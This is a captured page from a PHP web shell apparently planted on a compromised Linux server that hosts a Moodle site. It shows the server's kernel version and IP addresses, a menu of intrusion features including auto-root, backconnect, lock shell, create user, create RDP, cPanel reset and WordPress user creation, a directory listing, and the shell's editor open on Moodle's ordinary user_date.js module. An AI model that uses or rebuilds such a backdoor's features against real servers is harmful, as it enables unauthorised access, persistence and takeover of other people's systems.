Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.70.130.22
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
lib /
amd /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
emoji
[ DIR ]
drwxr-xr-x
local
[ DIR ]
drwxr-xr-x
adapter.js
190.74
KB
-rw-r--r--
addblockmodal.js
2.52
KB
-rw-r--r--
ajax.js
11.97
KB
-rw-r--r--
aria.js
1011
B
-rw-r--r--
auto_rows.js
3.46
KB
-rw-r--r--
autoscroll.js
6.49
KB
-rw-r--r--
backoff_timer.js
4.98
KB
-rw-r--r--
chart_axis.js
7.39
KB
-rw-r--r--
chart_bar.js
3.08
KB
-rw-r--r--
chart_base.js
11.36
KB
-rw-r--r--
chart_builder.js
1.65
KB
-rw-r--r--
chart_line.js
2.08
KB
-rw-r--r--
chart_output.js
1.08
KB
-rw-r--r--
chart_output_base.js
2.03
KB
-rw-r--r--
chart_output_chartjs.js
10.83
KB
-rw-r--r--
chart_output_htmltable.js
3.3
KB
-rw-r--r--
chart_pie.js
3.03
KB
-rw-r--r--
chart_series.js
8.35
KB
-rw-r--r--
chartjs-lazy.js
670.93
KB
-rw-r--r--
chartjs.js
913
B
-rw-r--r--
checkbox-toggleall.js
12.78
KB
-rw-r--r--
config.js
1002
B
-rw-r--r--
custom_interaction_events.js
22.18
KB
-rw-r--r--
dragdrop.js
12.92
KB
-rw-r--r--
drawer.js
3.49
KB
-rw-r--r--
drawer_events.js
967
B
-rw-r--r--
event.js
3.97
KB
-rw-r--r--
first.js
1.36
KB
-rw-r--r--
form-autocomplete.js
50.77
KB
-rw-r--r--
form-cohort-selector.js
2.46
KB
-rw-r--r--
form-course-selector.js
3.77
KB
-rw-r--r--
fragment.js
4.64
KB
-rw-r--r--
fullscreen.js
1.62
KB
-rw-r--r--
icon_system.js
2.56
KB
-rw-r--r--
icon_system_fontawesome.js
4.01
KB
-rw-r--r--
icon_system_standard.js
2.3
KB
-rw-r--r--
inplace_editable.js
13.29
KB
-rw-r--r--
key_codes.js
1.34
KB
-rw-r--r--
loadingicon.js
3.87
KB
-rw-r--r--
localstorage.js
2.08
KB
-rw-r--r--
log.js
1.74
KB
-rw-r--r--
loglevel.js
9.66
KB
-rw-r--r--
modal.js
28.21
KB
-rw-r--r--
modal_backdrop.js
4.46
KB
-rw-r--r--
modal_cancel.js
1.44
KB
-rw-r--r--
modal_events.js
1.27
KB
-rw-r--r--
modal_factory.js
8.65
KB
-rw-r--r--
modal_registry.js
2.38
KB
-rw-r--r--
modal_save_cancel.js
2.16
KB
-rw-r--r--
mustache.js
26.69
KB
-rw-r--r--
network.js
8.02
KB
-rw-r--r--
normalise.js
1.6
KB
-rw-r--r--
notification.js
8.86
KB
-rw-r--r--
page_global.js
5.38
KB
-rw-r--r--
paged_content.js
2.87
KB
-rw-r--r--
paged_content_events.js
1.17
KB
-rw-r--r--
paged_content_factory.js
20.68
KB
-rw-r--r--
paged_content_pages.js
11.75
KB
-rw-r--r--
paged_content_paging_bar.js
20.34
KB
-rw-r--r--
paged_content_paging_bar_limit...
2.36
KB
-rw-r--r--
paged_content_paging_dropdown....
7.36
KB
-rw-r--r--
pending.js
1.57
KB
-rw-r--r--
permissionmanager.js
9.77
KB
-rw-r--r--
popover_region_controller.js
12.52
KB
-rw-r--r--
popper.js
79.2
KB
-rw-r--r--
prefetch.js
5.85
KB
-rw-r--r--
pubsub.js
2.17
KB
-rw-r--r--
sessionstorage.js
2.22
KB
-rw-r--r--
showhidesettings.js
11.82
KB
-rw-r--r--
sortable_list.js
29.51
KB
-rw-r--r--
storagewrapper.js
5.15
KB
-rw-r--r--
str.js
7.84
KB
-rw-r--r--
tag.js
19.77
KB
-rw-r--r--
templates.js
49.66
KB
-rw-r--r--
toast.js
3.05
KB
-rw-r--r--
tooltip.js
4.09
KB
-rw-r--r--
tree.js
18.12
KB
-rw-r--r--
truncate.js
6.56
KB
-rw-r--r--
url.js
3.65
KB
-rw-r--r--
user_date.js
9.32
KB
-rw-r--r--
userfeedback.js
2.91
KB
-rw-r--r--
utils.js
2.73
KB
-rw-r--r--
yui.js
1.13
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : user_date.js
// This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Fetch and render dates from timestamps. * * @module core/user_date * @copyright 2017 Ryan Wyllie <ryan@moodle.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ define(['jquery', 'core/ajax', 'core/sessionstorage', 'core/config'], function($, Ajax, Storage, Config) { var SECONDS_IN_DAY = 86400; /** @var {object} promisesCache Store all promises we've seen so far. */ var promisesCache = {}; /** * Generate a cache key for the given request. The request should * have a timestamp and format key. * * @param {object} request * @return {string} */ var getKey = function(request) { var language = $('html').attr('lang').replace(/-/g, '_'); return 'core_user_date/' + language + '/' + Config.usertimezone + '/' + request.timestamp + '/' + request.format; }; /** * Retrieve a transformed date from the browser's storage. * * @param {string} key * @return {string} */ var getFromLocalStorage = function(key) { return Storage.get(key); }; /** * Save the transformed date in the browser's storage. * * @param {string} key * @param {string} value */ var addToLocalStorage = function(key, value) { Storage.set(key, value); }; /** * Check if a key is in the module's cache. * * @param {string} key * @return {bool} */ var inPromisesCache = function(key) { return (typeof promisesCache[key] !== 'undefined'); }; /** * Retrieve a promise from the module's cache. * * @param {string} key * @return {object} jQuery promise */ var getFromPromisesCache = function(key) { return promisesCache[key]; }; /** * Save the given promise in the module's cache. * * @param {string} key * @param {object} promise */ var addToPromisesCache = function(key, promise) { promisesCache[key] = promise; }; /** * Send a request to the server for each of the required timestamp * and format combinations. * * Resolves the date's deferred with the values returned from the * server and saves the value in local storage. * * @param {array} dates * @return {object} jQuery promise */ var loadDatesFromServer = function(dates) { var args = dates.map(function(data) { var fixDay = data.hasOwnProperty('fixday') ? data.fixday : 1; var fixHour = data.hasOwnProperty('fixhour') ? data.fixhour : 1; return { timestamp: data.timestamp, format: data.format, type: data.type || null, fixday: fixDay, fixhour: fixHour }; }); var request = { methodname: 'core_get_user_dates', args: { contextid: Config.contextid, timestamps: args } }; return Ajax.call([request], true, true)[0].then(function(results) { results.dates.forEach(function(value, index) { var date = dates[index]; var key = getKey(date); addToLocalStorage(key, value); date.deferred.resolve(value); }); return; }) .catch(function(ex) { // If we failed to retrieve the dates then reject the date's // deferred objects to make sure they don't hang. dates.forEach(function(date) { date.deferred.reject(ex); }); }); }; /** * Takes an array of request objects and returns a promise that * is resolved with an array of formatted dates. * * The values in the returned array will be ordered the same as * the request array. * * This function will check both the module's static promises cache * and the browser's session storage to see if the user dates have * already been loaded in order to avoid sending a network request * if possible. * * Only dates not found in either cache will be sent to the server * for transforming. * * A request object must have a timestamp key and a format key and * optionally may have a type key. * * E.g. * var request = [ * { * timestamp: 1293876000, * format: '%d %B %Y' * }, * { * timestamp: 1293876000, * format: '%A, %d %B %Y, %I:%M %p', * type: 'gregorian', * fixday: false, * fixhour: false * } * ]; * * UserDate.get(request).done(function(dates) { * console.log(dates[0]); // prints "1 January 2011". * console.log(dates[1]); // prints "Saturday, 1 January 2011, 10:00 AM". * }); * * @param {array} requests * @return {object} jQuery promise */ var get = function(requests) { var ajaxRequests = []; var promises = []; // Loop over each of the requested timestamp/format combos // and add a promise to the promises array for them. requests.forEach(function(request) { var key = getKey(request); // If we've already got a promise then use it. if (inPromisesCache(key)) { promises.push(getFromPromisesCache(key)); } else { var deferred = $.Deferred(); var cached = getFromLocalStorage(key); if (cached) { // If we were able to get the value from session storage // then we can resolve the deferred with that value. No // need to ask the server to transform it for us. deferred.resolve(cached); } else { // Add this request to the list of ones we need to load // from the server. Include the deferred so that it can // be resolved when the server has responded with the // transformed values. request.deferred = deferred; ajaxRequests.push(request); } // Remember this promise for next time so that we can // bail out early if it is requested again. addToPromisesCache(key, deferred.promise()); promises.push(deferred.promise()); } }); // If we have any requests that we couldn't resolve from the caches // then let's ask the server to get them for us. if (ajaxRequests.length) { loadDatesFromServer(ajaxRequests); } // Wait for all of the promises to resolve. Some of them may be waiting // for a response from the server. return $.when.apply($, promises).then(function() { // This looks complicated but it's just converting an unknown // length of arguments into an array for the promise to resolve // with. return arguments.length === 1 ? [arguments[0]] : Array.apply(null, arguments); }); }; /** * For a given timestamp get the midnight value in the user's timezone. * * The calculation is performed relative to the user's midnight timestamp * for today to ensure that timezones are preserved. * * E.g. * Input: * timestamp: 1514836800 (01/01/2018 8pm GMT)(02/01/2018 4am GMT+8) * midnight: 1514851200 (02/01/2018 midnight GMT) * Output: * 1514764800 (01/01/2018 midnight GMT) * * Input: * timestamp: 1514836800 (01/01/2018 8pm GMT)(02/01/2018 4am GMT+8) * midnight: 1514822400 (02/01/2018 midnight GMT+8) * Output: * 1514822400 (02/01/2018 midnight GMT+8) * * @param {Number} timestamp The timestamp to calculate from * @param {Number} todayMidnight The user's midnight timestamp * @return {Number} The midnight value of the user's timestamp */ var getUserMidnightForTimestamp = function(timestamp, todayMidnight) { var future = timestamp > todayMidnight; var diffSeconds = Math.abs(timestamp - todayMidnight); var diffDays = future ? Math.floor(diffSeconds / SECONDS_IN_DAY) : Math.ceil(diffSeconds / SECONDS_IN_DAY); var diffDaysInSeconds = diffDays * SECONDS_IN_DAY; // Is the timestamp in the future or past? var dayTimestamp = future ? todayMidnight + diffDaysInSeconds : todayMidnight - diffDaysInSeconds; return dayTimestamp; }; return { get: get, getUserMidnightForTimestamp: getUserMidnightForTimestamp }; });
Close